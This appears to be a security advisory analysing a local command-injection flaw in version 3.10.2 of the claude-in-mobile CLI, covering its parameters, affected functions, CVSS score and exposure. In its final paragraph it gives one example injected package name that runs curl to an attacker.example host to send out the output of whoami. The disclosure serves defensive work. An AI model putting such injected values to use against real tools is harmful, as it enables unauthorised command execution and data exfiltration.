claude-in-mobile CVE-2026-81562

Exploitation requires local system access with at least low-privilege user rights (AV:L/PR:L per CVSS 4.0 vector) - remote unauthenticated exploitation is not possible. The attacker must be able to supply attacker-controlled strings to one or more of the following CLI parameters: Android package name, Android permission identifier (e.g., android.permission.*), SharedPreferences XML filename, SharedPreferences key or value, SQLite database path, relative file path, or iOS osascript key. These parameters are processed by functions including sandbox_prefs_read, sandbox_prefs_write, sandbox_sqlite_query, sandbox_file_list, sandbox_file_read, permission_grant, and network_airplane in the android.rs and ios.rs modules. No special non-default configuration is required beyond having the tool installed. Exploitation is further constrained by the need to actively invoke the CLI with attacker-influenced input, which limits the attack surface to shared developer environments, CI pipelines processing external input, or scenarios where an unprivileged user can influence CLI arguments.

The CVSS 4.0 score of 1.9 (AV:L/AC:L/AT:N/PR:L/UI:N with VC:L/VI:L/VA:L/SC:N/SI:N/SA:N) accurately reflects a tightly bounded threat: exploitation requires local system presence and at least low-privilege user rights, and impact is confined to the vulnerable system with no downstream scope change. The E:P modifier confirms a public proof-of-concept exists, which lowers the technical barrier, but the absence of a CISA KEV listing and the product's narrow deployment footprint (a niche developer tool) substantially constrain real-world exposure. EPSS data was not provided in the available intelligence and cannot be assessed. The practical risk is most relevant to developer workstations, automated CI pipelines, or mobile testing infrastructure where the CLI may process inputs derived from untrusted sources such as user-supplied package names or file paths; in those environments, the PoC availability makes this a credible local-privilege-abuse vector. For typical interactive developer use with fully controlled inputs, the exploitability is negligible. No CVSS vector conflict is present - the local attack vector is consistent with the description's requirement of local access.

A local attacker with low-privilege access to a developer workstation where claude-in-mobile is installed crafts an argument containing shell metacharacters - for example, a package name like com.example; curl http://attacker.example/exfil?data=$(whoami) - and passes it to a CLI subcommand such as sandbox_prefs_read. Because version 3.10.2 interpolates that string directly into a device-side sh -c command without sanitization, the injected payload executes on the host or connected Android device. A public proof-of-concept is documented in GitHub issue #40, reducing exploitation effort to near-trivial for any local user.